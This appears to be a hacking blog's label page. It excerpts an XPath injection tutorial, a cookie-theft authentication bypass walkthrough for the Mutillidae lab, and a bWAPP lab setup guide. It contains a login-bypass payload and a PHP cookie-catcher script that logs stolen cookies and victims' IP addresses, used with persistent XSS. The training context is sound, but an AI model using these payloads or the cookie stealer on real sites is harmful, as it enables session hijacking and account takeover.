Showing posts with label ethical hacking. Show all posts
Showing posts with label ethical hacking. Show all posts

Sunday, 3 May 2015

XPATH INJECTION TUTORIAL

XPATH INJECTION TUTORIAL

XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.

We are gonna learn using simple example. Download code from here & put it in your local server directory.(Code is created by Amol Naik )

Sample XML Document which we gonna use:-

<Employees>
<!-- Employees Database -->
  <Employee ID="1">
    <FirstName>Johnny</FirstName>
    <LastName>Bravo</LastName>
    <UserName>jbravo</UserName>
    <Password>test123</Password>
    <Type>Admin</Type>
  </Employee>
  <Employee ID="2">
    <FirstName>Mark</FirstName>
    <LastName>Brown</LastName>
    <UserName>mbrown</UserName>
    <Password>demopass</Password>
    <Type>User</Type>
  </Employee>
  <Employee ID="3">
    <FirstName>William</FirstName>
    <LastName>Gates</LastName>
    <UserName>wgates</UserName>
    <Password>MSRocks!</Password>
    <Type>User</Type>
  </Employee>
  <Employee ID="4">
    <FirstName>Chris</FirstName>
    <LastName>Dawes</LastName>
    <UserName>cdawes</UserName>
    <Password>letmein</Password>
    <Type>User</Type>
  </Employee>
</Employees>

Bypass Authentication:-

Browse to the login.php page; here we can see simple login form.

Bypass Authentication

If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:

Username: ' or '1' = '1
Password:  ' or '1' = '1

Bypass Authentication using XPATH injection


Broken Authentication and Session Management is on number 2 in OWASP Top 10 vulnerability list 2013. In mutillidae , it contain three subsection.

Authentication Bypass
Privilege Escalation
Username Enumeration

We have already covered Username enumeration in last article & we got valid username list which exist in database. Today we are going to use authentication bypass method.

Using cookie
Using brute-force
Using SQL injection
(1)Authentication Bypass Using Cookie:-
As we know that , mutillidae is vulnerable to XSS, so we can capture cookie with help of XSS. We are going to take advantage of persistent XSS.

http://127.0.0.1/mutillidae/index.php?page=add-to-your-blog.php

Above link is vulnerable to persistent XSS attack. We can submit html to add blog section.so we are going to use cookie-catcher.

Content of cookie_catcher.php :-

<?php
header ("Location: http://192.168.56.1");
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

Upload your cookie_catcher.php to server. For demo i used my local apache server & after execution of script it will redirect to 192.168.56.1.You can change the code according to your need. It will grab IP, cookie, Referer, time & date.


Read more ...

Thursday, 17 July 2014

Ethical Hacking Training with bWAPP Pentest lab


Ethical Hacking Training with bWAPP Pentest lab




                                 Hello buddies, after a short break m back with an interesting post on Creating Pentesting lab with bWAPP. bWAPP is one of the cutest web pentesting lab for beginners to get started and learn Web App hacking. I've wrote many Penetration testing articles, this one is also little amazing and helpful for noobs and beginners.


What is bWAPP ?
bWAPP or a buggy web application is a free and open source web application
build to allow security enthusiasts, students and developers to better secure web applications. It is for educational purposes only. bWAPP contain all types of OWASP Top 10 (2013) Vulnerabilities.

bWAPP have many types of Vulnerabilities like :

·         HTML, SQL, LDAP, XML, Get, Post, Cookies, Command etc Injection
·         Stored, Reflected, DOM, Get, Post etc Cross Site Scripting (XSS)
·         Broken Auth. & Session management
·         Forgot Password, Function, Insecure transport etc
·         Password attacks, Cookie Stealing, HTTP Management etc
·         Strong Session, Logout Management etc
·         Insecure Direct Object Refernce
·         Cross Site Request Forgery (CSRF)
·         Security Misconfiguration 
·         Insecure Cryptographic Storage
·         Failure of Restrict URL Access
·         Insufficient Transport Layer Protection
·         Unvalidated Redirects and Forwads
Others Bugs :
·         Client-Side Validation (Password)
·         Directory Traversal - Files
·         HTTP Response Splitting
·         Information Disclosure - Headers
·         PHP Eval Function
·         Remote & Local File Inclusion
·         Unrestricted File Upload



How to Install bWAPP in Windows ?
It is pretty little hard but very simple, haha just Complete following requirements :

Requirements :
·         WAMP Server (30 mb Download)
·         bWAPP Source Files (Download)
·         Little Brain!
I'll not show any tutorial to install wamp server, because it's simply very easy, download and install wamp server in your system and start it.

·     


·         Start learning from first level to last it's totally free, learn some basic HTTP/ TCP and IP networking.
·         And soon m also gonna post many ethical hacking methods.
Share it and feel free to comment, dare to ask, Knowledge is free. Sharing is caring.

Read more ...
Back to top ↑

    recent comments

    Powered by Blogger.

    Popular Posts

    Blog Archive

Translate

about this blog


this blog is for educational purpose only hacking is a crime but utilizing its knowledge for good purposes is not a crime

you will get here all the tricks and much more knowledge which you need and many more at this blog



by:pavan joshi

Contact Form

Name

Email *

Message *

© 2013 computer tips and tricks with pavan joshi. WP Mythemeshop Converted by Bloggertheme9
Blogger templates. Proudly Powered by pavan joshi and my friends .